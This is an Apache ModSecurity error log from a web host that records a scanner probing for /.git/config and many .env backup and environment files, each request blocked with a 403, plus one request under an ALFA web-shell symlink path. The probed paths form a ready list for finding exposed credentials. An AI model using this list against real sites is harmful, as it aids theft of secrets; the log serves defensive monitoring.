[Sat Oct 24 22:06:37.963007 2026] [security2:error] [pid 2693034:tid 2693034] [client 85.208.96.196:15708] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/include/bits/types/__fpos_t.h"] [unique_id "at1kLVQTwXU83R4GW_mbfgAAACg"]
[Sat Oct 24 22:06:38.458613 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kLiTLSCb4RJ-3cSWWLgAAAAE"]
[Sat Oct 24 22:06:38.458905 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kLiTLSCb4RJ-3cSWWLgAAAAE"]
[Sat Oct 24 22:06:38.459220 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kLiTLSCb4RJ-3cSWWLgAAAAE"]
[Sat Oct 24 22:06:38.814510 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1kLiTLSCb4RJ-3cSWWMAAAAAE"]
[Sat Oct 24 22:06:38.814778 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1kLiTLSCb4RJ-3cSWWMAAAAAE"]
[Sat Oct 24 22:06:38.815177 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1kLiTLSCb4RJ-3cSWWMAAAAAE"]
[Sat Oct 24 22:06:38.971696 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1kLiTLSCb4RJ-3cSWWMQAAAAE"]
[Sat Oct 24 22:06:38.972002 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1kLiTLSCb4RJ-3cSWWMQAAAAE"]
[Sat Oct 24 22:06:38.972376 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1kLiTLSCb4RJ-3cSWWMQAAAAE"]
[Sat Oct 24 22:06:39.148614 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1kLyTLSCb4RJ-3cSWWMgAAAAE"]
[Sat Oct 24 22:06:39.148864 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1kLyTLSCb4RJ-3cSWWMgAAAAE"]
[Sat Oct 24 22:06:39.149170 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1kLyTLSCb4RJ-3cSWWMgAAAAE"]
[Sat Oct 24 22:06:39.290813 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1kLyTLSCb4RJ-3cSWWMwAAAAE"]
[Sat Oct 24 22:06:39.291199 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1kLyTLSCb4RJ-3cSWWMwAAAAE"]
[Sat Oct 24 22:06:39.291651 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1kLyTLSCb4RJ-3cSWWMwAAAAE"]
[Sat Oct 24 22:06:39.435133 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1kLyTLSCb4RJ-3cSWWNAAAAAE"]
[Sat Oct 24 22:06:39.435373 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1kLyTLSCb4RJ-3cSWWNAAAAAE"]
[Sat Oct 24 22:06:39.435681 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1kLyTLSCb4RJ-3cSWWNAAAAAE"]
[Sat Oct 24 22:06:39.588268 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1kLyTLSCb4RJ-3cSWWNQAAAAE"]
[Sat Oct 24 22:06:39.588606 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1kLyTLSCb4RJ-3cSWWNQAAAAE"]
[Sat Oct 24 22:06:39.589105 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1kLyTLSCb4RJ-3cSWWNQAAAAE"]
[Sat Oct 24 22:06:39.744996 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1kLyTLSCb4RJ-3cSWWNgAAAAE"]
[Sat Oct 24 22:06:39.745362 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1kLyTLSCb4RJ-3cSWWNgAAAAE"]
[Sat Oct 24 22:06:39.745701 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1kLyTLSCb4RJ-3cSWWNgAAAAE"]
[Sat Oct 24 22:06:39.922137 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1kLyTLSCb4RJ-3cSWWNwAAAAE"]
[Sat Oct 24 22:06:39.922406 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1kLyTLSCb4RJ-3cSWWNwAAAAE"]
[Sat Oct 24 22:06:39.922753 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1kLyTLSCb4RJ-3cSWWNwAAAAE"]
[Sat Oct 24 22:06:40.065615 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1kMCTLSCb4RJ-3cSWWOAAAAAE"]
[Sat Oct 24 22:06:40.065864 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1kMCTLSCb4RJ-3cSWWOAAAAAE"]
[Sat Oct 24 22:06:40.066211 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1kMCTLSCb4RJ-3cSWWOAAAAAE"]
[Sat Oct 24 22:06:40.246364 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1kMCTLSCb4RJ-3cSWWOQAAAAE"]
[Sat Oct 24 22:06:40.246632 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1kMCTLSCb4RJ-3cSWWOQAAAAE"]
[Sat Oct 24 22:06:40.246964 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1kMCTLSCb4RJ-3cSWWOQAAAAE"]
[Sat Oct 24 22:06:40.423276 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1kMCTLSCb4RJ-3cSWWOgAAAAE"]
[Sat Oct 24 22:06:40.423532 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1kMCTLSCb4RJ-3cSWWOgAAAAE"]
[Sat Oct 24 22:06:40.423843 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1kMCTLSCb4RJ-3cSWWOgAAAAE"]
[Sat Oct 24 22:06:40.622179 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1kMCTLSCb4RJ-3cSWWOwAAAAE"]
[Sat Oct 24 22:06:40.622422 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1kMCTLSCb4RJ-3cSWWOwAAAAE"]
